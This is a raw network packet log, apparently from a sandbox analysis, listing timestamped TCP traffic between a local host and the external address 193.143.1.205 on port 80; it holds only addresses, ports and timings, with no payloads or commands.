Jan 11, 2025 07:01:50.698966980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.699057102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.723866940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.723903894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724003077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724169016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724204063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724253893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724267006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724288940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724340916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724373102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724395990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724407911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724423885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724442005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724477053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724493027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724510908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724545002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724602938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724736929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724770069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724795103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724806070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724912882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.724931955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.724970102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725003958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725023031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725039005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725073099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725157976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725168943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725194931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725209951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725519896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725553989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725583076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725589037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725657940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725703001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725735903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725769997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725802898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725815058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725836992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725869894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725902081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725905895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725905895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.725935936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.725971937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726002932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.726448059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726495981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.726500988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726552010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726586103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726618052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726634979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.726671934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726705074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726711988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.726739883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726772070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726793051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.726804018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726839066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726845026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.726875067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.726902962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.727572918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727606058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727627993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.727639914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727690935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727725983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727736950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.727758884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727782011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.727792978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727826118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727859020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727884054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.727897882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727936029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.727940083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.727971077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728030920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.728571892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728631020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728636026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.728677034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728715897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728756905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728773117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.728799105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728838921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728857040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.728879929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728899956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.728921890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728962898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.728976965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.729006052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.729048967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.729099989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.730328083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.735713005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.738708019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.738743067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.738776922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.738781929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.738985062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.741432905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.749135017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.749185085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.749217987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.749250889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.749264002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.749285936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.749316931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.779756069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.779781103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.779794931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.779840946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.779915094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.810600042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810661077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810692072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810724020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810750008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.810777903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.810787916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810825109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810861111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810872078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.810916901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810969114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.810997963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811019897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.811047077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811064959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.811100960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811134100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811151981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.811167955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811199903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811234951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811248064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.811286926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811291933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.811357021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811386108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811409950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.811419010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811453104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811486959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.811505079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.811543941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841295958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841331959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841366053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841413975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841433048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841479063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841536999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841571093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841603041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841619968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841634989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841670036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841690063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841738939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841772079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841804028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841815948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841837883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841877937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841887951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841923952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.841923952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841959000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841993093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.841999054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842025995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842061996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842065096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842091084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842140913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842179060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842190027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842225075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842257977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842267990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842291117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842323065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842330933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842356920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842361927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842432976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842483044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842485905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842533112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842565060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842573881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842597961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842648029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842680931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842685938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842715025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842746973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842751980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842780113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842786074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.842813015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842845917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842878103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.842883110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843065977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843097925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843103886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843135118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843148947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843180895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843219995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843230009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843278885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843329906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843333960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843369961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843409061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843451023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843457937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843491077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843523026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843525887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843555927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843561888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843591928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843625069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843632936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843658924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843693018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843702078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.843724966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843760014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.843801022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846400976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846452951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846482992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846487045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846527100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846575975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846576929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846611023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846657991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846687078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846688986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846697092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846724033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846756935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846775055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846790075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846822023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846854925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846862078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846904993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846940041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.846952915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846976995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.846988916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847023010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847074032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847106934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847112894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847138882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847170115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847177982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847203970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847210884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847237110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847269058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847275972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847304106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847352028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847446918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847476006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847481012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847490072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847532034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847579956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847610950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847614050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847649097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847683907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.847690105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.847738028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.851794958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.897536039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897588015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897623062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897656918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897696018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.897696018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.897747040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897798061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897850037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897870064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.897887945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897934914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.897969007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898000002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898009062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.898031950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898051023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.898065090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898097038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898114920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.898129940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898164988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898181915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.898197889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898221016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.898232937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898268938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898299932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898319960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.898332119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898382902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.898399115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898433924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.898444891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.928121090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.928133965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.928144932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.928181887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.928199053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.928210974 CET	80	49699	193.143.1.205	192.168.2.7
